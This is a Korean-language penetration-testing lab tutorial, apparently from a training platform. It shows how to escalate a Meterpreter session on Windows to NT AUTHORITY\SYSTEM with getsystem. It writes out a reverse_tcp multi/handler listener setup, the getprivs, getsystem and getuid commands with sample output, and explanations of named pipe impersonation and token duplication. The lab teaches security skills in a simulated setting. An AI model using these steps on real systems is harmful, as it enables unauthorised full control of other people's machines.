Meterpreter 의 getsystem 을 이용한 권한 상승

Kali LinuxBeginner
지금 연습하기

소개

침투 테스팅 분야에서 대상 시스템에 대한 초기 액세스를 확보하는 것은 시작에 불과합니다. 종종 초기 발판은 권한이 제한된 낮은 권한의 사용자 계정입니다. 시스템에 대한 완전한 제어를 얻으려면 Administrator 또는 Windows 의 경우 NT AUTHORITY\SYSTEM과 같이 더 높은 수준의 계정으로 권한을 상승시켜야 합니다. 이 과정을 권한 상승 (privilege escalation) 이라고 합니다.

Metasploit Framework 는 Meterpreter 라는 강력한 후속 공격 페이로드를 제공하며, 이 페이로드에는 이 목적을 위해 특별히 설계된 다목적 명령인 getsystem이 포함되어 있습니다. 이 명령은 현재 세션의 권한을 최고 수준으로 높이기 위한 다양한 기술을 자동화합니다.

이 랩에서는 이미 Windows 대상 시스템에 대한 기본 Meterpreter 세션을 확보한 공격자의 역할을 수행하게 됩니다. getsystem 명령을 사용하여 권한을 상승시키고 새로운 액세스 수준을 확인하는 방법을 배우게 됩니다.

Windows 대상 시스템에서 Meterpreter 세션 설정

이 단계에서는 Meterpreter 세션을 확보하는 과정을 시뮬레이션합니다. 먼저 Metasploit Framework 콘솔을 시작하고 감염된 기기에서 들어오는 연결을 "수신"할 리스너를 구성해야 합니다.

터미널을 열고 배너를 피하기 위해 quiet 모드로 Metasploit 콘솔을 시작합니다.

msfconsole -q

msfconsole 프롬프트에 들어간 후, 일반적인 multi/handler 모듈을 사용할 것입니다. 이 모듈은 다양한 페이로드로부터 들어오는 연결을 처리하도록 설계되었습니다.

use multi/handler

다음으로, 핸들러가 어떤 페이로드를 예상하는지 알려주어야 합니다. 이 랩에서는 표준 Windows Meterpreter reverse TCP 페이로드를 사용할 것입니다.

set payload windows/meterpreter/reverse_tcp

리스너의 IP 주소 (LHOST) 와 포트 (LPORT) 도 구성해야 합니다. LHOST127.0.0.1(localhost) 으로, LPORT4444로 설정합니다.

set LHOST 127.0.0.1
set LPORT 4444

이제 exploit 명령을 실행하여 리스너를 시작합니다. -j 플래그를 사용하여 백그라운드 작업으로 실행하면 msfconsole 프롬프트가 다른 명령을 위해 계속 사용 가능하게 됩니다.

exploit -j

핸들러가 시작되었다는 확인 메시지가 표시될 것입니다.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

이 랩에서는 백그라운드 프로세스가 이제 감염된 Windows 호스트가 귀하에게 다시 연결하는 것을 시뮬레이션합니다. 잠시 후 Meterpreter 세션이 열렸다는 메시지가 표시될 것입니다.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000

이 새 세션과 상호 작용하려면 sessions 명령에 -i 플래그와 세션 ID 를 차례로 사용합니다.

sessions -i 1

프롬프트가 meterpreter>로 변경되어 대상 시스템의 Meterpreter 세션 내부에 있음을 나타냅니다.

meterpreter >

getprivs 명령으로 현재 권한 확인

이 단계에서는 권한 상승을 시도하기 전에 현재 사용자 계정이 보유한 권한을 이해하는 것이 중요합니다. Windows 에서 권한은 사용자가 프로그램을 디버깅하거나 시스템을 종료하는 것과 같이 특정 시스템 수준 작업을 수행할 수 있는지 여부를 결정합니다.

Meterpreter 는 현재 프로세스 토큰과 관련된 권한을 열거하기 위해 getprivs 명령을 제공합니다.

이제 meterpreter> 프롬프트에 들어왔으므로 getprivs 명령을 실행합니다.

getprivs

출력에는 현재 사용자 프로세스가 보유한 모든 권한이 나열됩니다. 일부 권한은 기본적으로 활성화되어 있지만 다른 권한은 비활성화될 수 있습니다.

============================================================
Enabled Process Privileges
============================================================
  SeChangeNotifyPrivilege
  SeIncreaseQuotaPrivilege
  SeShutdownPrivilege
  SeTimeZonePrivilege
  SeUndockPrivilege

이 출력은 현재 우리의 능력을 알려줍니다. 많은 권한 상승 기법이 작동하려면 SeDebugPrivilege 또는 SeImpersonatePrivilege와 같은 특정 권한이 필요합니다. 이 목록을 보면 다음 단계를 계획하는 데 도움이 됩니다.

getsystem 명령을 사용하여 SYSTEM 권한으로 상승 시도

이 단계에서는 Meterpreter 의 주요 권한 상승 명령인 getsystem을 사용할 것입니다. 이 명령은 세션의 권한을 NT AUTHORITY\SYSTEM으로 상승시키기 위해 여러 가지 다른 기법을 자동으로 시도하는 강력한 스크립트입니다.

NT AUTHORITY\SYSTEM 계정은 Windows 시스템에서 가장 강력한 계정으로, 거의 모든 리소스에 대한 무제한 액세스 권한을 가집니다. 이 계정을 제어하는 것은 종종 후속 공격 (post-exploitation) 의 주요 목표입니다.

meterpreter> 프롬프트에서 getsystem 명령을 실행합니다.

getsystem

Meterpreter 는 이제 다양한 기법을 시도할 것입니다. 성공하면 어떤 기법이 작동했는지 나타내는 메시지가 표시됩니다. 가장 일반적인 성공 결과는 "Named Pipe Impersonation"을 통한 것입니다.

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

명령이 성공 메시지를 반환하면 권한 상승에 성공했을 가능성이 높습니다. 실패하면 현재 사용자의 컨텍스트에서 자동화된 기법이 작동하지 않았음을 의미하며, 이는 누락된 권한 또는 시스템 강화 때문일 수 있습니다. 이 랩에서는 명령이 성공할 것으로 예상됩니다.

getuid 명령으로 새로운 권한 확인

이 단계에서는 getsystem을 실행한 후 실제로 권한이 상승되었는지 확인해야 합니다. 이를 수행하는 간단한 방법은 현재 세션의 사용자 ID 를 확인하는 것입니다.

Meterpreter 는 이 목적을 위해 getuid 명령을 제공합니다. 이 명령은 시스템을 쿼리하고 Meterpreter 서버가 현재 실행 중인 사용자 이름을 반환합니다.

meterpreter> 프롬프트에서 getuid 명령을 실행합니다.

getuid

getsystem 명령이 성공했다면, 출력에는 이제 사용자가 SYSTEM 사용자임을 보여야 합니다.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

서버 사용자 이름으로 NT AUTHORITY\SYSTEM을 보는 것은 성공적인 권한 상승의 확실한 확인입니다. 이제 대상 시스템에 대한 최고 수준의 제어 권한을 갖게 되었습니다. getsystem을 실행하기 전에 getuid를 실행했다면, 처음에 침해했던 낮은 권한의 사용자 이름이 표시되었을 것입니다.

getsystem 의 다양한 기법 논의

이 단계에서는 getsystem을 실행할 때 백그라운드에서 어떤 일이 발생하는지 살펴보겠습니다. 이 명령은 단일 마법 함수가 아니라 알려진 Windows 권한 상승 기법 목록을 순환하는 스크립트입니다.

사용 가능한 기법 목록을 보려면 -h 플래그를 전달하여 getsystem 명령의 도움말 메뉴를 사용할 수 있습니다.

getsystem -h

그러면 사용 옵션과 사용할 수 있는 기법 목록이 표시됩니다.

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h   Help Banner.
    -t   The technique to use. (Default to trying all)

Techniques:
    0: All
    1: Named Pipe Impersonation (In Memory/Admin)
    2: Named Pipe Impersonation (Dropper/Admin)
    3: Token Duplication (Admin)

(참고: 기법의 수와 이름은 Metasploit 버전에 따라 약간 다를 수 있습니다.)

이러한 기법이 무엇을 의미하는지 간략하게 살펴보겠습니다.

  • Named Pipe Impersonation (In Memory/Admin): 이것은 기본이며 가장 안정적인 방법입니다. SYSTEM 으로 실행되는 서비스를 생성한 다음, 서비스가 연결하는 명명된 파이프 (named pipe) 를 생성합니다. 그런 다음 사용자의 프로세스가 해당 서비스의 보안 컨텍스트를 가장하여 SYSTEM 이 됩니다. 이 모든 과정은 메모리 내에서 이루어집니다. 일반적으로 성공하려면 관리자 (Administrator) 수준의 권한이 필요합니다.
  • Named Pipe Impersonation (Dropper/Admin): 이것은 첫 번째 기법과 유사하지만, 파일을 디스크에 드롭하는 (DLL) 과정이 포함됩니다. 이는 덜 은밀하며 바이러스 백신 소프트웨어에 의해 탐지될 가능성이 더 높습니다.
  • Token Duplication (Admin): 이 기법은 이미 SYSTEM 으로 실행 중인 프로세스를 찾아 해당 프로세스의 액세스 토큰 (access token) 을 훔친 다음, 현재 프로세스에 적용합니다. 이를 위해서는 다른 프로세스를 검사하고 디버그할 수 있는 SeDebugPrivilege가 필요합니다.

기본적으로 getsystem은 하나가 성공할 때까지 사용 가능한 모든 기법 (-t 0) 을 시도합니다. 이러한 방법을 이해하면 getsystem이 실패할 때 문제를 해결하는 데 도움이 되며, 대상 시스템 구성에 대한 추가 정보가 있을 경우 특정 기법을 수동으로 선택할 수 있습니다.

요약

이 실습에서는 가장 중요한 후속 공격 (post-exploitation) 작업 중 하나인 권한 상승을 성공적으로 수행했습니다. Metasploit Framework 와 Meterpreter 페이로드를 활용하여 Windows 대상에서 일반 사용자에서 모든 권한을 가진 NT AUTHORITY\SYSTEM 계정으로 액세스 수준을 높이는 방법을 배웠습니다.

리스너 설정 및 세션 설정부터 최종 액세스 수준 확인까지 전체 과정을 살펴보았습니다. 구체적으로 다음을 사용했습니다.

  • 리스너 설정을 위한 msfconsole
  • 초기 권한을 열거하기 위한 getprivs
  • 권한을 자동으로 상승시키기 위한 getsystem
  • NT AUTHORITY\SYSTEM이 되었음을 확인하기 위한 getuid

마지막으로 getsystem 명령이 내부적으로 사용하는 다양한 기법을 탐구했습니다. 이 지식은 다양한 환경에서 명령이 성공하거나 실패하는 이유를 이해하는 데 매우 중요합니다. 권한 상승을 마스터하는 것은 모든 침투 테스터에게 기본적인 기술이며, getsystem은 여러분의 무기고에서 강력한 도구입니다.